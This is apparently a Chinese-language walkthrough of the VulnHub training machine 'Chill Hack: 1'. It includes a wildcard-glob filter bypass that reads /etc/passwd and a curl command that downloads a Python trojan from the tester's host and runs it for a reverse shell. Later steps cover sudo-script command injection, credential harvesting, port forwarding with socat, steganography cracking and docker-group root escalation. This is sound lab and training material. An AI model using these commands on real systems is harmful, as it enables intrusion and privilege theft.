Chill Hack:1的评级是初级到中级,下载地址是https://www.vulnhub.com/entry/chill-hack-1,622/。
感觉这个靶机难度不算特别大,但涉及的内容还算丰富,所以写一下walkthrough。
首先用Vmware加载靶机,运行后找到IP地址。用nmap进行扫描:
%
可以发现,开了21、22和80三个端口,且21端口可以匿名登录。ftp匿名登录21端口后,里面有一个note.txt,提示命令行有字符串过滤:
用浏览器打开80端口后,发现就是一个静态页面,没有什么值得深入的地方。于是后台暴力搜索目录:
gobuster dir -u http://192.168.53.105 -t 50 -x .php,.html,.txt,.htm,.log -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -b 403,404 --wildcard -o 80.log
发现如下目录,其中,大部分是静态页面,但有个secret目录值得关注。
进入secret目录,就是一个执行命令的界面,试了一下,可以执行bash命令。
但是对于nc,python等命令,都进行了屏蔽,看来进行了字符串过滤(刚才的提示里也说了)。绕过字符串过滤的方法较多,本例中可以用最简单的通配符方法。比如
/bin/cat /etc/passwd
可以表示为如下:
/???/c?t /e?c/p?ss??
执行以后可以成功。现在就考虑如何反弹shell了。尝试了几种方法以后,决定采用在靶机执行curl下载一个python木马,再反弹回本机的方法。首先确定python的版本和位置:
/??r/??n/p?????3 --version
执行成功,这样就确定了python的版本和位置。
由于网站当前目录不可写,可以把木马下载到/tmp目录,然后再执行。同时,本机监听相应端口,执行后反弹shell成功。
/??r/??n/c??l http://192.168.53.100/r.py -o /tmp/r.py /??r/??n/p?????3 /tmp/r.py
进入/home目录,发现有三个用户:anurodh、apaar、aurick,只有中间那个apaar的目录可以进入,进入home目录发现文件.helpline.sh,且sudo -l可以以apaar身份执行该脚本。
查看.helpline.sh,发现该脚本需要让用户输入两个字符串,其中,第二个字符串,也就是$msg,可以作为命令执行。这样,我们可以以apaar的身份获得bash。
由于现在我们是apaar用户了,我们可以通过在.ssh目录里上传authorized_keys,得到ssh连接,不用再web反弹shell了。
以apaar身份进入以后,查询了很多信息,都没有发现可利用的信息,也没有suid可以利用。经过一番寻找,发现刚才登录的网站在/var/www/html/里,但在/var/www/files里还有一些网站文件,其中,index.php里包含了一个数据库密码。
尝试以该账户登录mysql,可以进一步得到两个用户名和密码:
通过在线md5解密,可以得到两个密码,但是这两个密码均不能用于su切换用户。这里卡了一段时间以后,突然想到,既然有mysql服务,是否应该查看一下还有什么端口开着,果然,找到了9001端口。
这里的9001端口只对127.0.0.1开放,无法从外部访问,因此需要用端口转发。Linux下端口转发的方法较多,这里用socat,但靶机未安装socat,需要把socat上传到tmp目录下再运行。这里,我把仅本机访问的9001端口转发到9002端口:
cd /tmp ./socat TCP-LISTEN:9002,fork,reuseaddr tcp:127.0.0.1:9001 &
从浏览器打开9002端口后,发现是一个登录界面:
用刚才mysql里得到的用户名和密码,可以登录(原来/var/tmp/files是这个网站的文件)。得到另一个界面和一段提示:"
思考一会儿,会不会和这个图片相关?于是将这个图片另存至本地,然后用steghide解码,看看里面是否隐藏有文件。果然,解码出了backup.zip,但是需要解压密码。这里用fcrackzip解密:
解压后,得到source_code.php,查看文件,发现另一个密码。用这个密码可以登录anurodh。从ssh登录后,浏览了一阵,发现anurodh属于docker组,且本机就有alpine:
最后一步就很直接了,利用docker得到root权限!